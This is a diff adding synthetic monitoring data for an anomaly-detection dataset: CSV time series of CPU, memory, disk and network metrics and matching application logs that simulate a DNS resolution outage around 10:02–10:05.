+2025-07-09T10:03:20Z,22.87,40.32,38.9,0.04,0.05 +2025-07-09T10:03:25Z,15.85,41.64,36.68,0.02,0.02 +2025-07-09T10:03:30Z,20.41,43.34,34.32,0.0,0.02 +2025-07-09T10:03:35Z,20.13,47.22,38.93,0.01,0.0 +2025-07-09T10:03:40Z,18.92,46.74,35.49,0.04,0.02 +2025-07-09T10:03:45Z,21.64,41.12,35.89,0.01,0.04 +2025-07-09T10:03:50Z,16.0,43.03,27.33,0.01,0.04 +2025-07-09T10:03:55Z,22.55,42.49,36.78,0.04,0.05 +2025-07-09T10:04:00Z,22.74,45.04,34.9,0.05,0.01 +2025-07-09T10:04:05Z,22.66,40.36,22.36,0.02,0.05 +2025-07-09T10:04:10Z,24.72,45.63,39.26,0.01,0.02 +2025-07-09T10:04:15Z,17.45,48.88,22.16,0.02,0.0 +2025-07-09T10:04:20Z,22.48,45.56,34.27,0.01,0.02 +2025-07-09T10:04:25Z,15.05,47.63,25.24,0.02,0.0 +2025-07-09T10:04:30Z,15.54,47.95,24.98,0.01,0.01 +2025-07-09T10:04:35Z,23.28,48.66,31.99,0.04,0.02 +2025-07-09T10:04:40Z,19.17,46.02,30.84,0.02,0.05 +2025-07-09T10:04:45Z,24.83,45.44,35.42,0.02,0.02 +2025-07-09T10:04:50Z,16.18,49.9,38.85,0.02,0.03 +2025-07-09T10:04:55Z,24.49,46.22,22.44,0.04,0.03 +2025-07-09T10:05:00Z,23.7,43.11,25.37,1.3,1.19 +2025-07-09T10:05:05Z,17.86,46.55,33.79,1.16,1.24 +2025-07-09T10:05:10Z,20.39,42.06,21.12,1.29,0.92 +2025-07-09T10:05:15Z,23.25,48.18,26.44,1.31,0.9 +2025-07-09T10:05:20Z,23.32,48.9,34.07,1.5,0.78 +2025-07-09T10:05:25Z,15.21,49.87,33.36,1.35,1.04 +2025-07-09T10:05:30Z,15.22,40.65,20.73,1.08,0.92 +2025-07-09T10:05:35Z,23.62,44.75,28.04,0.81,0.79 +2025-07-09T10:05:40Z,16.91,49.14,36.57,1.39,1.15 +2025-07-09T10:05:45Z,21.31,44.57,31.38,0.99,0.75 +2025-07-09T10:05:50Z,15.96,46.21,29.93,1.0,0.89 +2025-07-09T10:05:55Z,16.58,48.65,33.99,1.32,1.08 +2025-07-09T10:06:00Z,15.35,46.37,24.14,1.23,0.73 +2025-07-09T10:06:05Z,18.86,45.86,37.85,0.99,1.29 +2025-07-09T10:06:10Z,24.41,46.47,22.81,0.97,0.96 +2025-07-09T10:06:15Z,18.01,44.86,30.49,1.01,1.26 +2025-07-09T10:06:20Z,23.69,42.48,31.63,1.38,1.29 +2025-07-09T10:06:25Z,17.44,45.18,39.25,1.3,1.01 +2025-07-09T10:06:30Z,15.39,41.51,30.18,1.27,0.96 +2025-07-09T10:06:35Z,15.14,40.7,33.87,1.3,0.93 +2025-07-09T10:06:40Z,15.83,49.32,25.24,1.18,0.93 +2025-07-09T10:06:45Z,22.39,44.49,38.05,1.04,1.05 +2025-07-09T10:06:50Z,24.95,45.69,33.19,1.35,1.04 +2025-07-09T10:06:55Z,22.22,42.69,23.15,1.47,0.74 +2025-07-09T10:07:00Z,22.64,46.69,22.31,1.24,1.17 +2025-07-09T10:07:05Z,17.39,46.05,25.33,1.46,0.86 +2025-07-09T10:07:10Z,20.46,41.82,31.22,1.44,0.71 +2025-07-09T10:07:15Z,22.99,40.28,22.5,0.97,1.27 +2025-07-09T10:07:20Z,17.19,42.77,24.72,1.16,1.13 +2025-07-09T10:07:25Z,16.83,42.17,28.88,1.18,1.11 diff --git a/anom_dataset/scenario_9/anom_9_16.log b/anom_dataset/scenario_9/anom_9_16.log new file mode 100644 index 0000000000000000000000000000000000000000..abde19bbca35cdc78a16cf05df4f8cea82ac9c6a --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_16.log @@ -0,0 +1,33 @@ +Jul 09 10:00:00 app-main[1456]: POST /api/v1/submit status=202 Accepted +Jul 09 10:00:30 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:30 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:02:00 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:02:30 app-worker[2877]: ERROR Failed to connect to redis.cache.internal: redis.clients.jedis.exceptions.JedisConnectionException: java.net.UnknownHostException: redis.cache.internal +Jul 09 10:02:40 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:02:50 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:03:00 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:03:10 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:03:20 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:03:30 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:03:35 app-main[1456]: POST /api/v1/submit status=202 Accepted +Jul 09 10:03:40 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:03:45 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:03:50 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:04:00 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:04:05 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:04:10 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:04:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:20 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:04:25 CRON[5914]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:04:30 app-worker[2877]: CRITICAL DNS resolution failed for primary_db.cluster.local +Jul 09 10:04:35 app-main[1456]: GET /api/v1/health status=200 OK +Jul 09 10:04:40 app-worker[2877]: ERROR Failed to connect to redis.cache.internal: redis.clients.jedis.exceptions.JedisConnectionException: java.net.UnknownHostException: redis.cache.internal +Jul 09 10:04:45 CRON[5192]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:04:50 app-worker[2877]: ERROR Could not resolve host: api.partner.com; Name or service not known +Jul 09 10:04:55 CRON[4727]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:05:00 app-main[1456]: INFO User 'admin' logged in successfully. +Jul 09 10:05:30 app-main[1456]: POST /api/v1/submit status=202 Accepted +Jul 09 10:06:00 app-main[1456]: POST /api/v1/submit status=202 Accepted +Jul 09 10:06:30 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:00 CRON[3008]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_9/anom_9_17.csv b/anom_dataset/scenario_9/anom_9_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..cb4fe57bf98ef31198e66dd6617eadb43864e15e --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,17.99,36.11,34.78,0.91,0.76 +2025-07-09T10:00:05Z,22.73,39.71,27.4,0.89,1.07 +2025-07-09T10:00:10Z,22.01,40.28,33.6,1.25,1.02 +2025-07-09T10:00:15Z,21.21,40.43,33.97,1.4,0.92 +2025-07-09T10:00:20Z,19.82,44.06,22.66,1.21,1.06 +2025-07-09T10:00:25Z,16.83,41.22,21.45,1.28,1.18 +2025-07-09T10:00:30Z,24.21,40.13,30.8,0.9,1.15 +2025-07-09T10:00:35Z,16.77,42.0,25.55,1.22,1.11 +2025-07-09T10:00:40Z,17.48,38.23,23.19,1.34,0.71 +2025-07-09T10:00:45Z,19.85,37.92,32.71,1.37,1.28 +2025-07-09T10:00:50Z,21.6,35.31,22.7,1.26,1.09 +2025-07-09T10:00:55Z,18.49,35.73,32.58,1.11,1.21 +2025-07-09T10:01:00Z,20.9,43.18,32.98,0.82,0.95 +2025-07-09T10:01:05Z,18.73,36.62,28.01,0.91,0.72 +2025-07-09T10:01:10Z,16.65,37.2,34.52,1.47,0.75 +2025-07-09T10:01:15Z,21.27,44.65,39.42,1.1,0.74 +2025-07-09T10:01:20Z,23.3,42.03,28.94,1.37,0.74 +2025-07-09T10:01:25Z,16.66,43.97,33.67,1.27,0.7 +2025-07-09T10:01:30Z,23.65,38.32,23.52,0.86,0.86 +2025-07-09T10:01:35Z,16.4,42.9,22.14,1.33,0.83 +2025-07-09T10:01:40Z,23.59,44.09,30.85,1.19,0.8 +2025-07-09T10:01:45Z,17.97,42.35,38.37,1.49,0.72 +2025-07-09T10:01:50Z,20.06,44.44,25.77,0.95,0.92 +2025-07-09T10:01:55Z,20.14,43.75,32.42,1.16,0.81 +2025-07-09T10:02:00Z,19.32,41.0,31.22,1.3,1.05 +2025-07-09T10:02:05Z,19.8,38.25,22.06,1.11,0.88 +2025-07-09T10:02:10Z,15.77,38.43,20.64,1.35,1.23 +2025-07-09T10:02:15Z,21.08,42.8,30.97,1.49,1.14 +2025-07-09T10:02:20Z,19.77,43.81,27.34,1.02,0.75 +2025-07-09T10:02:25Z,21.32,44.92,30.67,1.04,1.08 +2025-07-09T10:02:30Z,18.92,39.62,31.68,0.04,0.04 +2025-07-09T10:02:35Z,23.6,38.52,36.87,0.03,0.05 +2025-07-09T10:02:40Z,22.32,41.27,26.97,0.04,0.09 +2025-07-09T10:02:45Z,23.51,42.44,22.37,0.02,0.08 +2025-07-09T10:02:50Z,24.22,41.93,30.41,0.02,0.05 +2025-07-09T10:02:55Z,19.84,40.33,34.88,0.07,0.05 +2025-07-09T10:03:00Z,22.97,35.48,22.74,0.03,0.09 +2025-07-09T10:03:05Z,24.96,36.94,23.09,0.03,0.05 +2025-07-09T10:03:10Z,18.32,39.95,25.2,0.08,0.05 +2025-07-09T10:03:15Z,23.2,36.15,33.92,0.03,0.02 +2025-07-09T10:03:20Z,18.35,39.16,30.32,0.1,0.08 +2025-07-09T10:03:25Z,23.07,42.72,32.32,0.04,0.02 +2025-07-09T10:03:30Z,24.11,35.5,35.08,0.03,0.08 +2025-07-09T10:03:35Z,22.67,36.88,39.53,0.04,0.02 +2025-07-09T10:03:40Z,18.75,35.83,33.27,0.04,0.03 +2025-07-09T10:03:45Z,24.32,43.71,21.04,0.04,0.08 +2025-07-09T10:03:50Z,15.48,40.09,36.07,0.02,0.03 +2025-07-09T10:03:55Z,18.98,44.85,38.19,0.07,0.02 +2025-07-09T10:04:00Z,24.98,35.14,26.29,0.02,0.06 +2025-07-09T10:04:05Z,23.13,39.43,35.5,0.0,0.01 +2025-07-09T10:04:10Z,18.11,38.2,35.57,0.1,0.0 +2025-07-09T10:04:15Z,18.07,36.09,22.39,0.05,0.08 +2025-07-09T10:04:20Z,21.3,42.43,32.52,0.08,0.01 +2025-07-09T10:04:25Z,16.51,43.37,25.47,0.09,0.03 +2025-07-09T10:04:30Z,15.74,39.64,24.8,0.07,0.01 +2025-07-09T10:04:35Z,24.54,36.37,25.99,0.03,0.08 +2025-07-09T10:04:40Z,22.94,43.26,24.91,0.1,0.03 +2025-07-09T10:04:45Z,20.46,36.47,22.48,0.04,0.07 +2025-07-09T10:04:50Z,23.69,42.27,36.19,0.1,0.09 +2025-07-09T10:04:55Z,23.08,36.95,20.34,0.08,0.02 +2025-07-09T10:05:00Z,23.43,36.86,20.58,1.3,0.72 +2025-07-09T10:05:05Z,21.97,40.07,21.09,1.2,1.23 +2025-07-09T10:05:10Z,22.62,43.09,32.98,1.1,0.83 +2025-07-09T10:05:15Z,18.81,35.89,35.48,1.24,0.9 +2025-07-09T10:05:20Z,24.68,43.17,38.8,1.26,0.84 +2025-07-09T10:05:25Z,18.05,43.08,28.35,0.86,0.99 +2025-07-09T10:05:30Z,21.03,35.59,25.4,1.27,0.86 +2025-07-09T10:05:35Z,22.57,40.88,30.96,0.81,1.01 +2025-07-09T10:05:40Z,18.07,37.9,21.15,1.25,1.08 +2025-07-09T10:05:45Z,17.22,37.25,28.87,1.03,0.91 +2025-07-09T10:05:50Z,15.15,43.83,22.96,0.96,1.28 +2025-07-09T10:05:55Z,18.4,44.67,33.75,0.99,1.27 +2025-07-09T10:06:00Z,16.05,43.04,25.4,1.16,0.94 +2025-07-09T10:06:05Z,20.98,39.67,38.5,1.0,0.77 +2025-07-09T10:06:10Z,23.62,41.45,22.67,1.22,1.18 +2025-07-09T10:06:15Z,19.47,42.41,30.62,1.14,1.19 +2025-07-09T10:06:20Z,17.37,43.52,27.41,1.36,1.1 +2025-07-09T10:06:25Z,16.57,39.09,29.45,1.11,0.75 +2025-07-09T10:06:30Z,23.92,37.76,23.35,1.11,0.94 +2025-07-09T10:06:35Z,24.21,38.89,23.17,1.48,1.17 +2025-07-09T10:06:40Z,16.05,36.09,29.32,1.04,0.88 +2025-07-09T10:06:45Z,15.6,41.21,22.13,0.83,1.08 +2025-07-09T10:06:50Z,22.55,42.85,32.89,0.8,0.78 +2025-07-09T10:06:55Z,16.16,37.0,22.71,1.2,0.9 +2025-07-09T10:07:00Z,20.36,40.15,29.08,1.33,0.76 +2025-07-09T10:07:05Z,17.61,42.51,39.04,0.85,1.08 +2025-07-09T10:07:10Z,23.12,35.28,34.91,1.31,1.17 +2025-07-09T10:07:15Z,23.11,42.23,24.03,1.23,1.13 +2025-07-09T10:07:20Z,16.69,37.12,35.42,1.37,0.96 +2025-07-09T10:07:25Z,17.71,40.51,31.2,1.41,1.2 diff --git a/anom_dataset/scenario_9/anom_9_17.log b/anom_dataset/scenario_9/anom_9_17.log new file mode 100644 index 0000000000000000000000000000000000000000..1aecb9313f83d3ca3d4c266d442ee05b0ac56088 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_17.log @@ -0,0 +1,42 @@ +Jul 09 10:00:00 app-worker[3456]: INFO: Task #142 processed successfully. +Jul 09 10:00:15 app-worker[3456]: INFO: Task #160 processed successfully. +Jul 09 10:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:00:45 app-worker[3456]: INFO: Task #110 processed successfully. +Jul 09 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:01:40 app-worker[3456]: INFO: Task #190 processed successfully. +Jul 09 10:01:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:30 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:02:40 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:02:50 api-connector[5678]: ERROR: Exception during API call: java.net.UnknownHostException: api.external.service +Jul 09 10:02:55 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:03:05 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:03:10 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:03:20 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:03:25 api-connector[5678]: ERROR: Exception during API call: java.net.UnknownHostException: api.external.service +Jul 09 10:03:30 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:03:45 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:03:50 api-connector[5678]: ERROR: Exception during API call: java.net.UnknownHostException: api.external.service +Jul 09 10:03:55 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:04:00 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:04:05 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:04:20 kubelet[2345]: INFO: Liveness probe for pod 'web-app-pod' succeeded. +Jul 09 10:04:25 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:04:30 api-connector[5678]: ERROR: Exception during API call: java.net.UnknownHostException: api.external.service +Jul 09 10:04:35 app-worker[3456]: WARN: Could not connect to database: Unknown host 'db.internal.service.net' +Jul 09 10:04:45 api-connector[5678]: ERROR: Exception during API call: java.net.UnknownHostException: api.external.service +Jul 09 10:04:50 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:04:55 payment-gateway[4567]: ERROR: Failed to resolve hostname 'payment.provider.com': Name or service not known +Jul 09 10:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:50 app-worker[3456]: INFO: Task #185 processed successfully. +Jul 09 10:05:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:10 app-worker[3456]: INFO: Task #146 processed successfully. +Jul 09 10:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:30 app-worker[3456]: INFO: Task #147 processed successfully. +Jul 09 10:06:45 web-app[1234]: GET /api/v1/user/166 status=200 OK +Jul 09 10:06:55 app-worker[3456]: INFO: Task #175 processed successfully. +Jul 09 10:07:05 web-app[1234]: GET /api/v1/user/102 status=200 OK +Jul 09 10:07:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:07:25 app-worker[3456]: INFO: Task #150 processed successfully. diff --git a/anom_dataset/scenario_9/anom_9_18.csv b/anom_dataset/scenario_9/anom_9_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..6cfdfac873c26119d88e27709dcdf6b26a90c88a --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,17.55,40.54,29.41,1.28,0.97 +2025-07-09T10:00:05Z,16.33,45.28,38.05,1.43,0.51 +2025-07-09T10:00:10Z,14.53,45.62,26.68,1.45,0.98 +2025-07-09T10:00:15Z,16.25,41.74,39.12,1.46,0.8 +2025-07-09T10:00:20Z,12.79,42.86,15.49,1.69,0.72 +2025-07-09T10:00:25Z,12.54,45.34,29.18,0.88,0.76 +2025-07-09T10:00:30Z,16.03,44.6,33.5,1.81,0.73 +2025-07-09T10:00:35Z,13.46,49.76,26.89,1.3,0.68 +2025-07-09T10:00:40Z,17.1,42.67,25.76,1.11,0.67 +2025-07-09T10:00:45Z,15.57,46.45,28.65,1.18,1.09 +2025-07-09T10:00:50Z,9.27,39.21,25.03,1.27,0.8 +2025-07-09T10:00:55Z,17.36,47.81,36.98,1.0,0.7 +2025-07-09T10:01:00Z,12.91,43.73,24.75,1.41,1.31 +2025-07-09T10:01:05Z,11.26,42.72,29.14,1.24,0.97 +2025-07-09T10:01:10Z,18.34,43.33,28.15,1.41,0.76 +2025-07-09T10:01:15Z,17.4,40.86,34.26,0.84,1.13 +2025-07-09T10:01:20Z,11.01,42.74,37.94,0.98,0.85 +2025-07-09T10:01:25Z,14.6,49.33,33.03,0.8,0.97 +2025-07-09T10:01:30Z,13.24,44.0,25.29,1.34,0.91 +2025-07-09T10:01:35Z,16.33,48.33,21.12,1.18,1.38 +2025-07-09T10:01:40Z,13.97,38.53,25.33,0.75,0.72 +2025-07-09T10:01:45Z,12.67,45.29,17.51,1.6,1.12 +2025-07-09T10:01:50Z,14.85,44.91,23.76,0.63,0.89 +2025-07-09T10:01:55Z,13.72,42.4,37.19,1.35,0.72 +2025-07-09T10:02:00Z,16.91,38.95,23.24,1.21,1.24 +2025-07-09T10:02:05Z,17.37,46.55,31.15,1.17,0.78 +2025-07-09T10:02:10Z,15.27,42.64,30.12,1.56,0.7 +2025-07-09T10:02:15Z,10.98,45.59,26.8,1.75,0.9 +2025-07-09T10:02:20Z,13.42,46.98,41.83,1.37,0.73 +2025-07-09T10:02:25Z,16.93,44.76,27.23,0.95,0.8 +2025-07-09T10:02:30Z,14.35,47.11,35.33,0.06,0.04 +2025-07-09T10:02:35Z,16.16,46.54,36.17,0.04,0.08 +2025-07-09T10:02:40Z,12.57,44.59,35.31,0.01,0.05 +2025-07-09T10:02:45Z,12.68,47.05,30.67,0.09,0.09 +2025-07-09T10:02:50Z,14.85,49.37,29.0,0.02,0.07 +2025-07-09T10:02:55Z,12.57,44.86,32.97,0.09,0.04 +2025-07-09T10:03:00Z,16.17,47.18,32.54,0.09,0.07 +2025-07-09T10:03:05Z,16.11,44.54,36.81,0.05,0.08 +2025-07-09T10:03:10Z,15.51,46.95,30.25,0.03,0.08 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+2025-07-09T10:06:35Z,14.07,38.11,28.24,1.01,1.21 +2025-07-09T10:06:40Z,10.32,48.55,29.84,1.41,1.3 +2025-07-09T10:06:45Z,16.53,47.35,25.31,1.14,0.76 +2025-07-09T10:06:50Z,12.85,39.69,40.26,1.39,0.63 +2025-07-09T10:06:55Z,13.17,43.99,30.99,1.33,1.18 +2025-07-09T10:07:00Z,15.68,46.76,27.29,1.26,0.73 +2025-07-09T10:07:05Z,14.44,42.33,30.56,1.39,0.67 +2025-07-09T10:07:10Z,14.07,48.53,17.31,0.71,1.14 +2025-07-09T10:07:15Z,12.97,45.39,28.32,1.12,0.57 +2025-07-09T10:07:20Z,16.01,52.57,36.76,1.37,0.98 +2025-07-09T10:07:25Z,15.1,46.45,30.43,1.33,0.79 diff --git a/anom_dataset/scenario_9/anom_9_18.log b/anom_dataset/scenario_9/anom_9_18.log new file mode 100644 index 0000000000000000000000000000000000000000..54978e7d4aa2726a2e3ea8fc424d46389dca3c83 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_18.log @@ -0,0 +1,68 @@ +Jul 09 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 10:00:00 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 09 10:00:00 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:00:20 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 09 10:00:35 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:00:40 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 09 10:01:00 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 09 10:01:10 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:01:15 CRON[5015]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:01:20 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 09 10:01:40 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 09 10:01:45 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:02:00 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 09 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:20 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 09 10:02:20 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:02:30 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:02:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:40 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:02:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:50 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:02:55 notification-worker[8765]: WARN Could not resolve hostname for smtp.emailprovider.com, retrying... +Jul 09 10:03:00 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:03:10 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:03:20 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:03:30 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:03:40 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:45 CRON[5045]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:03:45 notification-worker[8765]: WARN Could not resolve hostname for smtp.emailprovider.com, retrying... +Jul 09 10:03:50 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:03:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:04:00 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:04:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:10 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:04:20 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:04:30 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:35 notification-worker[8765]: WARN Could not resolve hostname for smtp.emailprovider.com, retrying... +Jul 09 10:04:40 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:04:50 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:04:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:00 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:05:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:10 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:20 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:05:25 notification-worker[8765]: WARN Could not resolve hostname for smtp.emailprovider.com, retrying... +Jul 09 10:05:30 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:05:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:40 payment-service[4567]: ERROR Failed to connect to payment-gateway.com: java.net.UnknownHostException: payment-gateway.com: Name or service not known +Jul 09 10:05:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:50 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:06:00 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 09 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:15 CRON[5075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:20 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 09 10:06:25 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:06:40 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 09 10:07:00 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 09 10:07:00 db-connector[3456]: INFO Connection pool health check successful. +Jul 09 10:07:20 web-app[1234]: GET /api/v1/user/14 status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_19.csv b/anom_dataset/scenario_9/anom_9_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..57275218568720c1e0e67cdd12c846b1a743aa37 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,12.3,44.11,21.75,0.85,0.71 +2025-07-09T10:00:05Z,18.01,39.17,34.68,1.21,1.01 +2025-07-09T10:00:10Z,10.76,35.29,32.53,1.41,0.63 +2025-07-09T10:00:15Z,13.81,42.23,20.12,1.13,0.56 +2025-07-09T10:00:20Z,15.31,38.43,32.09,1.46,0.98 +2025-07-09T10:00:25Z,10.92,41.34,28.65,1.06,0.6 +2025-07-09T10:00:30Z,11.94,35.03,30.18,1.25,0.57 +2025-07-09T10:00:35Z,12.05,41.54,34.26,0.54,1.13 +2025-07-09T10:00:40Z,18.89,35.22,22.98,0.89,0.69 +2025-07-09T10:00:45Z,11.03,42.56,38.48,0.93,0.74 +2025-07-09T10:00:50Z,13.38,44.52,23.11,0.53,0.99 +2025-07-09T10:00:55Z,15.3,40.73,26.67,0.76,0.76 +2025-07-09T10:01:00Z,19.55,41.53,32.98,1.2,0.85 +2025-07-09T10:01:05Z,18.94,37.54,25.04,1.06,1.2 +2025-07-09T10:01:10Z,13.91,41.52,20.1,0.72,1.34 +2025-07-09T10:01:15Z,13.58,37.44,29.65,1.26,1.29 +2025-07-09T10:01:20Z,15.86,38.18,24.81,0.87,1.07 